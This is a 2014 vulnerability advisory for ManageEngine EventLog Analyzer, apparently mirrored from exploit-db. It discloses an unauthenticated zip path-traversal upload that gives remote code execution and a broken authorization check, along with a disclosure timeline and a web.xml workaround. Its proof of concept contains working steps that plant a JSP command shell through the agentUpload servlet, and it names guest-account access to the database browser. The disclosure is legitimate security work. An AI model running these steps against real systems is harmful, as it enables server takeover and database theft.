ManageEngine EventLog Analyzer – Multiple Vulnerabilities (1)

  • 作者: Hans-Martin Muench
    日期: 2014-09-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34519/
  • Mogwai Security Advisory MSA-2014-01
    ----------------------------------------------------------------------
    Title:ManageEngine EventLog Analyzer Multiple Vulnerabilities
    Product:ManageEngine EventLog Analyzer 
    Affected versions:EventLog Analyzer 9.9 (Build 9002) on Windows/Linux
    Impact: critical
    Remote: yes
    Product link: http://www.manageengine.com/products/eventlog/
    Reported: 18/04/2013
    by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)
    
    
    Vendor's Description of the Software:
    ----------------------------------------------------------------------
    EventLog Analyzer provides the most cost-effective Security Information and
    Event Management (SIEM) software on the market. Using this Log Analyzer
    software, organizations can automate the entire process of managing terabytes
    of machine generated logs by collecting, analyzing, searching, reporting,
    and archiving from one central location. This event log analyzer software
    helps to mitigate internal threats, conduct log forensics analysis, monitor
    privileged users and comply to different compliance regulatory bodies
    by intelligently analyzing your logs and instantly generating a variety of
    reports like user activity reports, regulatory compliance reports,
    historical trend reports, and more.
    
    
    Business recommendation:
    ----------------------------------------------------------------------
    During a penetration test, multiple vulnerabilities have been identified
    that are based on severe design/implementation flaws in the application.
    It is highly recommended not to use this software until a thorough
    security review has been performed by security professionals and all
    identified issues have been resolved.
    
    
    Vulnerability description:
    ----------------------------------------------------------------------
    1) Unauthenticated remote code execution
    ME EventLog Analyzer contains a "agentUpload" servlet which is used by Agents
    to send log data as zip files to the central server. Files can be uploaded
    without
    authentication and are stored/decompressed in the "data" subdirectory.
    
    As the decompress procedure is handling the file names in the ZIP file in a
    insecure way it is possible to store files in the web root of server. This can
    be used to upload/execute code with the rights of the application server.
    
    2) Authorization issues
    The EventLog Analyzer web interface does not check if an authenticated has
    sufficient permissions to access certain parts of the application. A low
    privileged
    user (for example guest) can therefore access critical sections of the web
    interface,
    by directly calling the corresponding URLs. This can be used to access the
    database
    browser of the application which gives the attacker full access to the database.
    
    
    Proof of concept:
    ----------------------------------------------------------------------
    1) Unauthenticated remote code execution
    
    
    - Create a malicious zip archive with the help of evilarc[1]
    evilarc.py -d 2 -o unix -p webapps/event cmdshell.jsp
    - Send the malicious archive to the agentUpload servlet
    curl -F "payload=@evil.zip" http://172.16.37.131:8400/agentUpload
    - Enjoy your shell
    http://172.16.37.131:8400/cmdshell.jsp
    
    A working Metasploit module will be released next week.
    
    
    2) Authorization issues
    - Log in as a low privileged user (for example guest/guest)
    - Directly call the URL of the database browser
    http://xxx.xxx.xxx.xxx:8400/event/runQuery.do
    
    
    Vulnerable / tested versions:
    ----------------------------------------------------------------------
    EventLog Analyzer 8.2 (Build 8020) (Windows)
    EventLog Analyzer 8.2 (Build 8020) (Linux)
    EventLog Analyzer 9.0 (Build 9002) (Windows)
    EventLog Analyzer 9.0 (Build 9002) (Linux)
    
    Other versions might also be vulnerable.
    
    
    Disclosure timeline:
    ----------------------------------------------------------------------
    14/04/2013: Vulnerability discovery
    18/04/2013: Informed vendor via ManageEngine Security Response Center (MESRC)
    Form
    23/04/2013: Second try to contact MESRC, as we didn't receive any response from
    the first try.
    23/04/2013: Response from vendor, they wait on some feedback from the
    development team
    10/05/2013: Response from vendor, saying that this is rather a issue than a
    vulnerability, will fix it anyway
    13/05/2013: Technical details including a working proof of concept send
    ManageEngine.
    13/05/2013: Vendor response, say that they forward it to the development team
    24/05/2013: Vendor response, saying that they will fix it in 2013 as they are
    "tightly scheduled on other priorities"
    24/05/2013: Response from us, asking if we will be informed when the
    vulnerability is fixed
    28/05/2013: Response from ManageEngine, saying that we must subscribe to their
    newsletter for release information
    05/09/2013: Verification that exploit is still working with the current version
    30/08/2014: Verification that exploit is still working with the current version
    31/08/2014: Public release
    
    Solution:
    ----------------------------------------------------------------------
    No known solution
    
    Workaround:
    ----------------------------------------------------------------------
    1) Unauthenticated remote code execution
    If agents are not used to collect log information, access to the servlet
    can be disabled by commenting out the following lines in the web.xml file
    (webapps/event/WEB-INF/web.xml) and restart the service.
    
    
    agentUpload
    com.adventnet.sa.agent.UploadHandlerServlet
    
    
    agentUpload
    /agentUpload
    
    
    
    2) Authorization issues
    No workaround, reduce the attack surface by disabling unused low privileged
    accounts like "guest".
    
    
    Advisory URL:
    ----------------------------------------------------------------------
    https://www.mogwaisecurity.de/en/lab/advisories/
    
    
    References
    ----------------------------------------------------------------------
    [1] evilarc
    https://github.com/ptoomey3/evilarc
    
    ----------------------------------------------------------------------
    Mogwai, IT-Sicherheitsberatung Muench
    Steinhoevelstrasse 2/2
    89075 Ulm (Germany)
    
    info@mogwaisecurity.de